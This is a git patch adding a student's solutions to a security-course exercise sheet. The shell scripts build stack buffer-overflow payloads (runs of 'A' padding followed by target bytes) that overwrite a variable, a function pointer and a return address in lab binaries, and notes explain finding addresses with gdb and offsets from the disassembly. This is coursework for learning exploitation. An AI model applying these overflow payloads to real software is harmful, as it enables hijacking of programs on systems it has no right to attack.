From 91bd5ab2ee9efe2b16e4a17037c10bce9fa28c32 Mon Sep 17 00:00:00 2001
From: Unbreathable <70802809+Unbreathable@users.noreply.github.com>
Date: Wed, 10 Jun 2026 14:04:35 +0200
Subject: [PATCH] feat: sheet 7 task 1 a-c

---
 .gitignore             |  1 +
 sheet07/a1/stack-a.sh  |  2 ++
 sheet07/a1/stack-a.txt |  3 +++
 sheet07/a1/stack-b.sh  |  2 ++
 sheet07/a1/stack-b.txt |  3 +++
 sheet07/a1/stack-c.sh  |  2 ++
 sheet07/a1/stack-c.txt | 20 ++++++++++++++++++++
 7 files changed, 33 insertions(+)
 create mode 100755 sheet07/a1/stack-a.sh
 create mode 100644 sheet07/a1/stack-a.txt
 create mode 100755 sheet07/a1/stack-b.sh
 create mode 100644 sheet07/a1/stack-b.txt
 create mode 100755 sheet07/a1/stack-c.sh
 create mode 100644 sheet07/a1/stack-c.txt

diff --git a/.gitignore b/.gitignore
index 44ac8ce..25e1dec 100644
--- a/.gitignore
+++ b/.gitignore
@@ -5,3 +5,4 @@ passwd
 sheet04/AuthWithTOTP.java
 sheet04/key-exchange.pcap
 sheet06/a2/assign*
+sheet07/a1/assign*
diff --git a/sheet07/a1/stack-a.sh b/sheet07/a1/stack-a.sh
new file mode 100755
index 0000000..bb3398d
--- /dev/null
+++ b/sheet07/a1/stack-a.sh
@@ -0,0 +1,2 @@
+NUMBER=$(printf "\x74\x69\x6E\x49")
+ENV_VAR="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER" "./assignment1a"
diff --git a/sheet07/a1/stack-a.txt b/sheet07/a1/stack-a.txt
new file mode 100644
index 0000000..8990415
--- /dev/null
+++ b/sheet07/a1/stack-a.txt
@@ -0,0 +1,3 @@
+I just injected the same thing into the Environment Variable as for the 2d task on the last worksheet. This works the exact same way here.
+
+128 characters of 'A' to be put into the buffer and after that all of the bytes for the number we want to put into the variable.
diff --git a/sheet07/a1/stack-b.sh b/sheet07/a1/stack-b.sh
new file mode 100755
index 0000000..8e083fd
--- /dev/null
+++ b/sheet07/a1/stack-b.sh
@@ -0,0 +1,2 @@
+NUMBER=$(printf "\xDE\x11\x40")
+echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER" | ./assignment1b
diff --git a/sheet07/a1/stack-b.txt b/sheet07/a1/stack-b.txt
new file mode 100644
index 0000000..afeeb6d
--- /dev/null
+++ b/sheet07/a1/stack-b.txt
@@ -0,0 +1,3 @@
+I went into gdb with the file using `gdb -q assignment1b`. After doing `print success`, I found that 0x4011de is the pointer for the function.
+
+I then created a script similar to 1d and just changed the number we inserted into the variable before into the function pointer. And that worked.
diff --git a/sheet07/a1/stack-c.sh b/sheet07/a1/stack-c.sh
new file mode 100755
index 0000000..4a545ab
--- /dev/null
+++ b/sheet07/a1/stack-c.sh
@@ -0,0 +1,2 @@
+NUMBER=$(printf "\x46\x11\x40")
+echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER" | ./assignment1c
diff --git a/sheet07/a1/stack-c.txt b/sheet07/a1/stack-c.txt
new file mode 100644
index 0000000..959b083
--- /dev/null
+++ b/sheet07/a1/stack-c.txt
@@ -0,0 +1,20 @@
+After some Google and asking Mr. GPT I found out that the return address is usually stored at the allocated stack size + 8 bytes on x86. So I disassembled assignment1c and found the following assembly code:
+
+   0x0000000000401168 <+0>:	push   %rbp
+   0x0000000000401169 <+1>:	mov    %rsp,%rbp
+   0x000000000040116c <+4>:	sub    $0x90,%rsp
+   0x0000000000401173 <+11>:	lea    -0x90(%rbp),%rax
+   0x000000000040117a <+18>:	mov    %rax,%rdi
+   0x000000000040117d <+21>:	call   0x401040 <gets@plt>
+   0x0000000000401182 <+26>:	mov    0x8(%rbp),%rax
+   0x0000000000401186 <+30>:	mov    %rax,-0x8(%rbp)
+   0x000000000040118a <+34>:	mov    -0x8(%rbp),%rax
+   0x000000000040118e <+38>:	lea    0xe7b(%rip),%rdx        # 0x402010
+   0x0000000000401195 <+45>:	mov    %rax,%rsi
+   0x0000000000401198 <+48>:	mov    %rdx,%rdi
+   0x000000000040119b <+51>:	mov    $0x0,%eax
+   0x00000000004011a0 <+56>:	call   0x401030 <printf@plt>
+   0x00000000004011a5 <+61>:	nop
+   0x00000000004011a6 <+62>:	leave
+
+What we can see here is that with lea we allocate a size of 0x90 = 144 bytes. So with 144 + 8 being 152, I have to write 152 'A' characters and then put in my return address. So that's how the stack-c.sh file works.